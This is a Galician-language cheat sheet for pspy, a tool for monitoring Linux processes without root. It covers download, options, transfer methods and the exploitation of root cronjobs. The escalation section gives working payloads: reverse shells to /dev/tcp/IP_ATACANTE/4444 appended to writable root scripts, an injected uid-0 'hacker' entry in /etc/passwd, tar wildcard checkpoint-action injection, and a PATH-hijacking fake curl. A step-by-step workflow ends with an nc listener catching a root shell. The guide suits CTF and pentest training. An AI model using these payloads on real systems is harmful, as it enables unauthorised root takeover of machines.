pspy - Monitor de Procesos sen Privilexios Root
Descrición
Ferramenta para monitorizar procesos de Linux sen necesidade de permisos root. Permite ver comandos executados por outros usuarios, incluíndo cronjobs e procesos de root. Moi útil para detectar tarefas automatizadas explotables.
Descarga
# Descargar versión 64-bit
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
# Descargar versión 32-bit
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy32
# Dar permisos
chmod +x pspy64
Sintaxe básica
Opcións principais
| Opción | Descrición |
|---|---|
-p |
Mostrar comandos de procesos (activado por defecto) |
-f |
Mostrar eventos do sistema de ficheiros |
-i <ms> |
Intervalo de actualización en milisegundos (defecto: 100) |
-d |
Mostrar comandos en procesos descendentes |
-r |
Modo de logging relativo ao proceso pai |
Exemplos de uso
# Execución básica (ver procesos)
./pspy64
# Ver procesos e eventos de ficheiros
./pspy64 -pf
# Con intervalo de actualización máis lento (reducir ruído)
./pspy64 -i 1000
# Filtrar saída en tempo real
./pspy64 | grep -i "cron"
./pspy64 | grep -i "root"
./pspy64 | grep -i ".sh"
Métodos de transferencia
# Desde servidor HTTP
python3 -m http.server 8000
wget http://IP_ATACANTE:8000/pspy64
# Descargar directamente desde GitHub
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
# Mediante SCP
scp pspy64 usuario@IP_OBXECTIVO:/tmp/
# Mediante base64 (copiar/pegar)
# En atacante:
base64 -w0 pspy64
# En obxectivo:
echo "BASE64_STRING" | base64 -d > pspy64
chmod +x pspy64
Interpretación de resultados
Exemplo de saída
2024/11/15 10:30:45 CMD: UID=0 PID=12345 | /bin/bash /opt/backup.sh
2024/11/15 10:30:50 CMD: UID=0 PID=12346 | /usr/bin/python3 /root/cleanup.py
2024/11/15 10:31:00 CMD: UID=1000 PID=12347 | /usr/bin/wget http://internal.server/data
Elementos importantes
- UID=0: Proceso executado como root (obxectivo principal)
- PID: ID do proceso
- Comando completo: Ruta e argumentos
Vectores de escalada comúns
1. Scripts executados por root con permisos escribibles
# pspy mostra:
# CMD: UID=0 PID=1234 | /bin/bash /opt/backup.sh
# Verificar permisos
ls -la /opt/backup.sh
# Se é escribible:
-rwxrwxrwx 1 root root 156 Nov 15 10:00 /opt/backup.sh
# Modificar o script
echo 'bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1' >> /opt/backup.sh
# Ou engadir usuario root
echo 'echo "hacker:x:0:0:root:/root:/bin/bash" >> /etc/passwd' >> /opt/backup.sh
2. Cronjobs con wildcards
# pspy mostra:
# CMD: UID=0 PID=5678 | /usr/bin/tar -czf /backup/backup.tar.gz *
# Explotar wildcard en tar (GTFOBins)
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1" > shell.sh
chmod +x shell.sh
3. Scripts que chaman a comandos sen ruta completa
# pspy mostra:
# CMD: UID=0 PID=9012 | python3 script.py
# Se o script usa comandos sen ruta completa:
# Crear un comando malicioso en PATH
echo '#!/bin/bash
bash -i >& /dev/tcp/IP_ATACANTE/4444 0>&1' > /tmp/curl
chmod +x /tmp/curl
export PATH=/tmp:$PATH
4. Ficheiros temporais creados por root
# pspy mostra:
# CMD: UID=0 PID=3456 | /bin/cp /root/secret.txt /tmp/temp_file
# Monitorizamos /tmp e lemos antes que se borre
watch -n 0.1 'cat /tmp/temp_file 2>/dev/null'
5. Procesamiento de ficheiros en directorios escribibles
# pspy mostra:
# CMD: UID=0 PID=7890 | /usr/bin/python3 /opt/process.py /var/www/uploads/*
# Subir ficheiro malicioso a /var/www/uploads/
# Pode incluír:
# - Reverse shell
# - Command injection
# - Path traversal
Workflow de explotación
# 1. Executar pspy
./pspy64 -pf
# 2. Observar durante polo menos 5 minutos
# Moitos cronjobs executanse cada 1, 5 ou 15 minutos
# 3. Buscar patróns:
# - Procesos de root (UID=0)
# - Scripts en directorios escribibles
# - Comandos con wildcards
# - Procesamento de ficheiros user-controllable
# 4. Verificar permisos do script/ficheiro detectado
ls -la /ruta/ao/script.sh
# 5. Se é escribible ou exploitable:
# - Modificar o script
# - Explotar wildcard
# - Manipular PATH
# - Crear ficheiro malicioso
# 6. Esperar execución automática do proceso
# Configurar listener primeiro:
nc -lvnp 4444
# 7. Obter shell de root
Combinación con outras ferramentas
# Despois de identificar vectores con pspy:
# Verificar cronjobs manualmente
cat /etc/crontab
ls -la /etc/cron.*
crontab -l
# Verificar systemd timers
systemctl list-timers --all
# Buscar ficheiros escribibles
find / -writable -type f 2>/dev/null
# Verificar PATH
echo $PATH
Casos de uso específicos
Detectar comunicación interna
# pspy pode revelar:
# - Conexións a bases de datos con credenciais
# - APIs internas
# - Servizos non expostos externamente
Monitorizar actividade doutros usuarios
Identificar servizos vulnerables
Notas adicionais
- pspy non require privilexios root - esta é a súa principal vantaxe
- Usa syscalls de Linux para monitorizar procesos sen /proc
- Pode xerar moita saída - filtrar con grep é recomendable
- Executar durante polo menos 5-10 minutos para capturar cronjobs
- Ideal para detectar tarefas automatizadas ocultas
- Combinar con linpeas.sh para enumeración completa
- Repository oficial: https://github.com/DominicBreuker/pspy
- A versión 64-bit funciona na maioría de sistemas Linux modernos
- Gardar saída nun ficheiro para análise posterior:
./pspy64 > pspy_output.txt - Truco: En CTFs, os cronjobs importantes adoitan executarse cada 1-5 minutos